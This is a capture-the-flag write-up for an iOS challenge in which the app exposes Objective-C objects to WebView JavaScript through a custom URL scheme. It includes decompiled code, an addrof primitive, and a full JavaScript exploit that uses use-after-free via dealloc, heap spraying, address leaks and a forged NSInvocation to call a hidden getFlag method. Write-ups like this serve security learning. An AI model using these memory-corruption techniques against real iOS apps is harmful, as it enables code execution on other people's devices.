Thank the author for the great challenge. We S1uM4i got the first blood of this challenge and we are the only team that solved it. The challenge is very interesting and I learned a lot from it. I will try to explain the exploitation in detail.
Analysis
The application registers a URL Scheme, you can find it in Info.plist
< key >CFBundleURLSchemes</ key >
< array >
< string >n1ctf</ string >
</ array >
So we can open the application by opening a URL like n1ctf://aaa/bbb/ccc
. The application will parse the URL and do some actions according to the URL.
void __cdecl - [SceneDelegate scene:openURLContexts: ](SceneDelegate * self , SEL a2, id a3, id a4)
{
id v4; // ST00_8
void * v5; // ST10_8
void * v6; // ST08_8
void * v7; // ST20_8
const char * v8; // [xsp+18h] [xbp-58h]
__int64 v9; // [xsp+48h] [xbp-28h]
void * v10; // [xsp+50h] [xbp-20h]
__int64 v11; // [xsp+58h] [xbp-18h]
SEL v12; // [xsp+60h] [xbp-10h]
SceneDelegate * v13; // [xsp+68h] [xbp-8h]
v4 = a4;
v13 = self ;
v12 = a2;
v11 = 0 LL ;
objc_storeStrong ();
v10 = 0 LL ;
objc_storeStrong ();
objc_msgSend_allObjects (v10, v8, v4);
v5 = ( void * ) objc_retainAutoreleasedReturnValue ();
objc_msgSend_firstObject (v5, v8);
v6 = ( void * ) objc_retainAutoreleasedReturnValue ();
objc_msgSend_URL (v6, v8);
v9 = objc_retainAutoreleasedReturnValue ();
objc_release (v6);
objc_release (v5);
objc_msgSend_defaultCenter ( & OBJC_CLASS___NSNotificationCenter, v8);
v7 = ( void * ) objc_retainAutoreleasedReturnValue ();
objc_msgSend_postNotificationName_object_ (v7, v8, CFSTR ( "openWebView" ), v9);
objc_release (v7);
objc_storeStrong ();
objc_storeStrong ();
objc_storeStrong ();
}
void __cdecl - [ViewController didReceiveNotification: ](ViewController * self , SEL a2, id a3)
{
void * v3; // ST78_8
__int64 v4; // ST80_8
void * v5; // ST38_8
__int64 v6; // ST48_8
__int64 v7; // ST40_8
void * v8; // ST28_8
char v9; // ST34_1
__int64 v10; // ST10_8
void * v11; // ST18_8
__int64 v12; // [xsp+58h] [xbp-188h]
__int64 v13; // [xsp+60h] [xbp-180h]
__int64 v14; // [xsp+68h] [xbp-178h]
void * v15; // [xsp+70h] [xbp-170h]
void * v16; // [xsp+90h] [xbp-150h]
void * v17; // [xsp+98h] [xbp-148h]
const char * v18; // [xsp+A8h] [xbp-138h]
void * v19; // [xsp+B0h] [xbp-130h]
char v20; // [xsp+B8h] [xbp-128h]
__int64 v21; // [xsp+C0h] [xbp-120h]
__int64 * v22; // [xsp+C8h] [xbp-118h]
void * v23; // [xsp+F8h] [xbp-E8h]
void * v24; // [xsp+100h] [xbp-E0h]
void * v25; // [xsp+108h] [xbp-D8h]
int v26; // [xsp+114h] [xbp-CCh]
void * host; // [xsp+118h] [xbp-C8h]
void * scheme; // [xsp+120h] [xbp-C0h]
__int128 v29; // [xsp+128h] [xbp-B8h]
SEL v30; // [xsp+138h] [xbp-A8h]
ViewController * v31; // [xsp+140h] [xbp-A0h]
char v32; // [xsp+148h] [xbp-98h]
v31 = self ;
v30 = a2;
objc_storeStrong ();
objc_msgSend_object ( 0 LL , v18);
v29 = ( unsigned __int64) objc_retainAutoreleasedReturnValue ();
objc_msgSend_scheme (( void * )v29, v18);
scheme = ( void * ) objc_retainAutoreleasedReturnValue ();
objc_msgSend_host (( void * )v29, v18);
host = ( void * ) objc_retainAutoreleasedReturnValue ();
if ( ( unsigned __int64) objc_msgSend_isEqualToString_ (scheme, v18, CFSTR ( "n1ctf" )) & 1
&& ( unsigned __int64) objc_msgSend_isEqualToString_ (host, v18, CFSTR ( "web" )) & 1 )
{
v3 = ( void * ) objc_alloc ( & OBJC_CLASS___NSURLComponents);
objc_msgSend_absoluteString (( void * )v29, v18);
v4 = objc_retainAutoreleasedReturnValue ();
v25 = objc_msgSend_initWithString_ (v3, v18);
objc_release (v4);
v24 = objc_msgSend_new ( & OBJC_CLASS___NSMutableDictionary, v18);
memset ( & v20, 0 , 0x 40 uLL );
objc_msgSend_queryItems (v25, v18);
v16 = ( void * ) objc_retainAutoreleasedReturnValue ();
v17 = objc_msgSend_countByEnumeratingWithState_objects_count_ (v16, v18, & v20, & v32, 16 LL );
if ( v17 )
{
v13 = * v22;
v14 = 0 LL ;
v15 = v17;
while ( 1 )
{
v12 = v14;
if ( * v22 != v13 )
objc_enumerationMutation (v16);
v23 = * ( void ** )(v21 + 8 * v14);
v5 = v24;
objc_msgSend_value (v23, v18);
v6 = objc_retainAutoreleasedReturnValue ();
objc_msgSend_name (v23, v18);
v7 = objc_retainAutoreleasedReturnValue ();
objc_msgSend_setValue_forKey_ (v5, v18, v6);
objc_release (v7);
objc_release (v6);
++ v14;
if ( v12 + 1 >= ( unsigned __int64)v15 )
{
v14 = 0 LL ;
v15 = objc_msgSend_countByEnumeratingWithState_objects_count_ (v16, v18, & v20, & v32, 16 LL );
if ( ! v15 )
break ;
}
}
}
objc_release (v16);
objc_msgSend_allKeys (v24, v18);
v8 = ( void * ) objc_retainAutoreleasedReturnValue ();
v9 = ( unsigned __int64) objc_msgSend_containsObject_ (v8, v18, CFSTR ( "url" ));
objc_release (v8);
if ( v9 & 1 )
{
v19 = objc_msgSend_new ( & OBJC_CLASS___WebViewController, v18);
objc_msgSend_objectForKeyedSubscript_ (v24, v18, CFSTR ( "url" ));
v10 = objc_retainAutoreleasedReturnValue ();
objc_msgSend_setUrlString_ (v19, v18);
objc_release (v10);
objc_msgSend_navigationController (v31, v18);
v11 = ( void * ) objc_retainAutoreleasedReturnValue ();
objc_msgSend_pushViewController_animated_ (v11, v18, v19, 1 LL );
objc_release (v11);
objc_storeStrong ();
}
objc_storeStrong ();
objc_storeStrong ();
v26 = 0 ;
}
else
{
v26 = 1 ;
}
objc_storeStrong ();
objc_storeStrong ();
objc_storeStrong ();
objc_storeStrong ();
}
Then do a classical class dump first
@interface ScriptInterface : NSObject
@end
@interface CoreService : ScriptInterface
@end
@interface N1CTFIntroduction : ScriptInterface
@end
@interface HTTRequest : ScriptInterface
@end
And an instance of ScriptInterface
is explosed to the context of JavaScript
v11 = objc_msgSend_new ( & OBJC_CLASS___ScriptInterface , v18);
objc_msgSend_setValue_forKey_ (v10, v18);
objc_release (v11);
All these are the subclass of ScriptInterface
. So we can call their methods in the context of JavaScript.
Also
+ ( _Bool )isSelectorExcludedFromWebScript:( SEL )arg1;
always returns NO
, which means all the methods are exposed to JavaScript. Considering the following code:
a = n1ctf. $makeCoreService ();
window.a = a;
a. dealloc ();
We can see that the dealloc
method is exposed to JavaScript. So we can call dealloc
on any object to free it. This is a very powerful primitive that let us use after free any ScriptInterface
and subclass object.
In -[CoreService dealloc]
, it will call -[NSInvocation invoke]
on its property @property NSInvocation * cancelRequest;
. So we can craft a fake NSInvocation
object to call any method on any object. For example, +[BackDoor getFlag:]
. (Actually in a challenge designed by me for my undergraduate school’s CTF, there is a similar technique, e.g. using NSInvocation
to call arbitrary C functions`)
To build up the addrof()
primitive, we can make use of the error message when calling a non-exist method on and object. I took the implementation from CodeColorist’s writeup for CVE-2021-1748
// copy from CVE-2021-1784
function addrof ( obj ) {
n1ctf. $setChallenge_ (obj)
try {
n1ctf. $challenge ()
} catch (e) {
console. debug (e)
const match = /instance (0x [\da-f] + ) $ / i . exec (e)
if (match) return match[ 1 ]
throw new Error ( 'Failed' )
} finally { }
}
Another challenge is how to do the heap spray. Luckily we have a method
@interface HTTRequest : ScriptInterface
{
NSData * _data;
}
- ( void ).cxx_destruct;
@ property (retain, nonatomic) NSData * data; // @synthesize data=_data;
- ( void )describeObject:( id )arg1:( id )arg2;
- ( void )addMultiPartData:( id )arg1;
@end
-[HTTRequest addMultiPartData:]
takes a base64 encoded string as input, and decodes it to store in NSData *_data
. So we can use this method to do heap spray.
Script
I have no idea about how to write elegant JavaScript so don’t blame me.
The full payload generated script is here:
String . prototype . toDataURI = function () {
return 'data:text/html;,' + encodeURIComponent ( this ). replace ( / [!'()*] / g , escape);
}
/*
0x2834c99a0: 0x02000001f9e2a699 0x0000000102c29f20 <- isa, frame:0x0000000102c29f20 -> [target, selector, arguments]
0x2834c99b0: 0x0000000102c29de0 0xbd0461d930d9b4a7 <- retdata, signature
0x2834c99c0: 0x0000000000000000 0x0000000000000000 <- wtf, 0
0x2834c99d0: 0x00000002819a39f0 0x00000001e60e9a43 <- target, selector
0x2834c99e0: 0x00000000a50e01d3 0x0000000000000000 <- _magic_cookie.ovalue, 0
*/
function payload () {
function hexToBase64 ( hexstring ) {
return btoa (hexstring. match ( / \w {2} / g ). map ( function ( a ) {
return String. fromCharCode ( parseInt (a, 16 ));
}). join ( "" ));
}
function p64 ( data ) {
// data is a number
data = BigInt (data)
str_data = data. toString ( 16 );
// pad to 8 bytes
str_data = str_data. padStart ( 16 , '0' );
// reverse bytes order
str_data = str_data. match ( / \w {2} / g ). reverse (). join ( "" );
return str_data;
}
var offsets = {
// remember to change all of this!
base_address: 0x0000000100000000 ,
corefoundation_base: 0x0000000180329000 , // done
NSArrayI_Class: 0x00000001DE53ABF8 , // done
NSInvocation_Class: 0x00000001de53a658 , // done
NSBooleanFalse: 0x00000001da63a0b8 , // done
NSData_Class: 0x00000001DE3719C8 , // done
NSConcreteData_Class: 0x00000001de542370 , // done
foundation_corefoundation_offset: 0x1311000 , // done
foundation_base: 0x000000018163A000 , // done
HTTRequest_Class: 0x0000000100013300 ,
CoreService_Class: 0x0000000100013238 ,
BackDoor_Class: 0x0000000100013120 ,
getFlag_SEL: 0x000000010000D99B
};
// copy from CVE-2021-1784
function addrof ( obj ) {
n1ctf. $setChallenge_ (obj)
try {
n1ctf. $challenge ()
} catch (e) {
console. debug (e)
const match = /instance (0x [\da-f] + ) $ / i . exec (e)
if (match) return match[ 1 ]
throw new Error ( 'Failed' )
} finally { }
}
function process_leak_data ( leak ) {
// find 'bytes = ' in leak_data, get all bytes after it, remove the last '}'
leak = leak. split ( 'bytes = ' )[ 1 ]. split ( '}' )[ 0 ]
// remove the first 0x
leak = leak. slice ( 2 );
// the leak is 24 bytes, split to 3 parts, each 8 bytes
leak = leak. match ( / \w {16} / g );
// for each part, reverse the bytes order
leak = leak. map ( x => x. match ( / \w {2} / g ). reverse (). join ( "" ));
// convert to number
leak = leak. map ( x => BigInt ( "0x" + x, 16 ));
return leak;
}
c1 = n1ctf. $makeCoreService ()
window.c1 = c1;
window.data_array = [];
corefoundation_addr = addrof ( false )
n1ctf. $DEBUGLOG_ (corefoundation_addr);
corefoundation_addr = parseInt (corefoundation_addr, 16 )
corefoundation_addr -= offsets.NSBooleanFalse;
corefoundation_slide = corefoundation_addr;
corefoundation_addr += offsets.corefoundation_base;
foundation_addr = corefoundation_addr + offsets.foundation_corefoundation_offset;
foundation_slide = foundation_addr - offsets.foundation_base;
// to hex
coreservice = n1ctf. $makeCoreService ();
coreservice_addr = addrof (coreservice)
n1ctf. $DEBUGLOG_ (coreservice_addr);
coreservice_addr = parseInt (coreservice_addr, 16 );
// make HTTRequest
req = n1ctf. $makeHTTRequest ();
req_addr = addrof (req);
req_addr = parseInt (req_addr, 16 );
c1_addr = addrof (c1);
c1_addr = parseInt (c1_addr, 16 );
// craft payload
// leak isa and cancelRequest of c1
dt = p64 (foundation_slide + offsets.NSConcreteData_Class) + p64 ( 24 ) +
p64 (c1_addr) + p64 ( 0 ) +
p64 (foundation_slide + offsets.NSConcreteData_Class) + p64 ( 24 )
// save coreservice
window.coreservice = coreservice;
coreservice. dealloc (); // use-after-free
// base64
for ( let i = 0 ; i < 0x90 ; i ++ ) {
req. addMultiPartData_ ( hexToBase64 (dt));
window.data_array. push (req. data ());
}
n1ctf. $describeObject__ (coreservice);
leak_data = `${ coreservice }`
leak_data = process_leak_data (leak_data);
// calculate the base address of pwn1OS
pwn1OS_base = leak_data[ 0 ] & 0xFFFFFFFFFFFFF n ;
pwn1OS_base -= ( BigInt (offsets.CoreService_Class) + 1 n );
pwn1OS_base += 0x0000000100000000 n ;
c1_invocation_addr = addrof (c1. $cancelRequest ());
c1_invocation_addr = parseInt (c1_invocation_addr, 16 );
n1ctf. $DEBUGLOG_ ( "target: " + c1_invocation_addr. toString ( 16 ));
n1ctf. $DEBUGLOG_ ( "fake NSConcreteData: " + addrof (window.coreservice));
// craft payload
// leak the tagged NSMethodSignature
dt = p64 (foundation_slide + offsets.NSConcreteData_Class) + p64 ( 24 ) +
p64 (c1_invocation_addr + 0x18 ) + p64 ( 0 ) +
p64 (foundation_slide + offsets.NSConcreteData_Class) + p64 ( 24 )
coreservice. dealloc (); // use-after-free
window.data_array = [];
for ( let i = 0 ; i < 0x90 ; i ++ ) {
req. addMultiPartData_ ( hexToBase64 (dt));
window.data_array. push (req. data ());
}
leak_data = `${ coreservice }`
n1ctf. $DEBUGLOG_ ( "leak tagged NSMethodSignature" );
leak_data = process_leak_data (leak_data);
tagged_NSMethodSignature = leak_data[ 0 ]
c2 = n1ctf. $makeCoreService ();
window.c2 = c2;
n1ctf. $DEBUGLOG_ ( "target: " + c1_invocation_addr. toString ( 16 ));
n1ctf. $DEBUGLOG_ ( "fake NSConcreteData: " + addrof (window.c2));
// craft payload, leak the cookie
dt = p64 (foundation_slide + offsets.NSConcreteData_Class) + p64 ( 24 ) +
p64 (c1_invocation_addr + 0x30 ) + p64 ( 0 ) +
p64 (foundation_slide + offsets.NSConcreteData_Class) + p64 ( 24 )
n1ctf. $makeN1CTFIntroduction ();
c2. dealloc ();
window.data_array2 = [];
for ( let i = 0 ; i < 0x90 ; i ++ ) {
req. addMultiPartData_ ( hexToBase64 (dt));
window.data_array2. push (req. data ());
}
introduction1 = n1ctf. $makeN1CTFIntroduction ();
leak_data = `${ c2 }`
n1ctf. $DEBUGLOG_ ( "leak cookie" );
leak_data = process_leak_data (leak_data);
cookie = leak_data[ 2 ]
window.introduction1 = introduction1;
introduction1_addr = addrof (introduction1);
introduction1_addr = parseInt (introduction1_addr, 16 );
n1ctf. $DEBUGLOG_ ( "introduction1_addr: " + introduction1_addr. toString ( 16 ));
window.data_array3 = [];
window.c1. $setCancelRequest_ (window.introduction1);
n1i1 = n1ctf. $makeN1CTFIntroduction ();
n1i2 = n1ctf. $makeN1CTFIntroduction ();
n1i3 = n1ctf. $makeN1CTFIntroduction ();
n1i1. setP_ ( "http://aaa.aaa.aaa.aaa:aaaaa///pleasegivemetheflag" );
addrof_p = addrof (n1i1. p ());
n1i2. dealloc ();
n1i3. dealloc ();
n1ctf. $DEBUGLOG_ ( "spray fake NSInvocation" );
// craft payload
fake_invok = p64 (corefoundation_slide + offsets.NSInvocation_Class) + p64 (introduction1_addr + 0x50 ) +
p64 (introduction1_addr + 0x80 ) + p64 (tagged_NSMethodSignature) +
p64 ( 0 ) + p64 ( 0 ) +
p64 (pwn1OS_base - BigInt (offsets.base_address) + BigInt (offsets.BackDoor_Class)) + p64 (pwn1OS_base - BigInt (offsets.base_address) + BigInt (offsets.getFlag_SEL)) +
p64 (cookie) + p64 ( 0 ) +
p64 (pwn1OS_base - BigInt (offsets.base_address) + BigInt (offsets.BackDoor_Class)) + p64 (pwn1OS_base - BigInt (offsets.base_address) + BigInt (offsets.getFlag_SEL)) +
p64 (addrof_p) + p64 ( 0 ) +
p64 ( 0 ) + p64 ( 0 ) +
p64 ( 0 ) + p64 ( 0 ) +
p64 ( 0 ) + p64 ( 0 ) +
p64 ( 0 ) + p64 ( 0 ) +
p64 ( 0 ) + p64 ( 0 )
introduction1. $dealloc ();
for ( let i = 0 ; i < 0x90 ; i ++ ) {
req. addMultiPartData_ ( hexToBase64 (fake_invok))
window.data_array3. push (req. data ());
}
n1ctf. $describeObject__ (introduction1);
c1. dealloc ();
}
data = `<script type="application/javascript">(${ payload })()</script>` . toDataURI ()
url = new URL ( 'n1ctf://web/fyou?url=fme' )
url.searchParams. set ( 'url' , data);
url. toString ()
console. log (url. toString ())